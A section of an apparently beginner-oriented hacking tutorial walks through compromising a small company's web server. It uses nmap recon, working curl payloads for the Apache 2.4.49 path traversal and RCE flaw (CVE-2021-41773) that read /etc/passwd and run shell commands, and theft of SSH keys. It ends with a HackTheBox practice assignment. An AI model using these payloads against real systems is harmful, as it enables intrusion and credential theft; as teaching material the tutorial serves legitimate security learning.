Common Weak Spots

SECTION 10

Full Example: Small Weak Spots To Full Compromise

Let's go through a realistic scenario, from small weak spot to full access.

Target: A small company website hosted on a public server.

Your mission: Find the weaknesses, pivot, chain them, own the box.

Step 1: Recon

Tool: Nmap
Goal: Find open ports, services, directories, files.

$ sudo nmap -sV targetsite.com
            

Example output:

Port 80 open - Apache 2.4.49
Port 22 open - SSH
                

Step 2: Find Weak Spots

• You spot the Apache version.
• You hit cve.org. Search Apache 2.4.49.
• You find CVE-2021-41773. Path traversal exploit confirmed.

Step 3: Exploit

You craft a malicious URL based on the CVE details:

$ curl http://targetsite.com/cgi-bin/.%2e/%2e%2e/%2e%2e/etc/passwd
            

Result: You successfully read /etc/passwd. Proof of path traversal.

Step 4: Pivot to Full Access

Now you have a foothold. Why stop at reading files? Research shows CVE-2021-41773 can allow Remote Code Execution (RCE) if mod_cgi is enabled.

Exploit attempt:

$ curl -d 'echo "hacked" > /tmp/pwned' http://targetsite.com/cgi-bin/.%2e/%2e%2e/%2e%2e/bin/sh
            

Assuming mod_cgi is active, you've now run commands on the server.

Step 5: Full Compromise

With command execution:

• You explore the file system.
• You find an .ssh folder.
• You dump SSH private keys.
• You connect via SSH:

$ ssh -i id_rsa user@targetsite.com
            

🎉 Congratulations, you now have persistent shell access!

This probably seems really complicated right now, and you don't need to know how everything works, but you understand the concept behind the exploitation loop.

This is how valuable vulnerabilities are found. It's a chain, not one click to the end. Hacking is slow, everything takes time and you need to go trough a lot of nothing before you hit the weak spot. It requires a lot of patience.

Quick Tips for Beginner Hackers

• Don’t rush, map the system before exploiting.
• Research every version number, service, and detail. And document it separately.
• CVE.org, Exploit-DB, check them constantly and if you don't understand something, learn it before you move on.
• Assume the first vuln isn't the last, pivot and chain.
• Practice only in safe labs or with permission. Never attack without permission.

Final Assignment: Hack The Box Starting Point

Goal: Apply everything — recon, vulnerability identification, chaining, access.
Platform: HackTheBox Starting Point
Recommended Target: Archetype, beginner-friendly, clear steps, real-world feel.
Requirements: You need to create a free HackTheBox account to access the machine.

You can find the machine under Starting Point - Tier 2 tab. From there you can spawn the the machine, after you have connected to HackTheBox Servers, with either Pwnbox or OpenVPN. Don't know how to connect? Refer to how to connect.

• Follow the steps in the guide.
• Use Nmap to find open ports and services.
• Identify vulnerabilities using CVE.org.
• Chain exploits to gain access.
• Document your process, findings, and any challenges.